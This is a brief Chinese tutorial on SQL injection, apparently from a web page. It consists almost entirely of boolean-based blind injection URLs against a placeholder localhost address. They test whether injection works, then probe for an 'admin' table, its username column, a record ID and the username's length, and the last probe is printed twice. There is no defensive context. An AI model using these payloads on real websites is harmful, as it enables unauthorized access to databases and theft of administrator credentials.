简单学习理解掌握SQL注入技术!

检测可否注入
http://127.0.0.1/xx?id=11 and 1=1 (正常页面)
http://127.0.0.1/xx?id=11 and 1=2 (出错页面)

检测表段的

http://127.0.0.1/xx?id=11 and exists (select * from admin)

检测字段的

http://127.0.0.1/xx?id=11 and exists (select username from admin)

检测ID

http://127.0.0.1/xx?id=11 and exists (select id from admin where ID=1)

检测长度的

http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)

检测长度的

http://127.0.0.1/xx?id=11 and exists (select id from admin where len(username)=5 and ID=1)
  网友评论:(只显示最新10条。评论内容只代表网友观点,与本站立场无关!)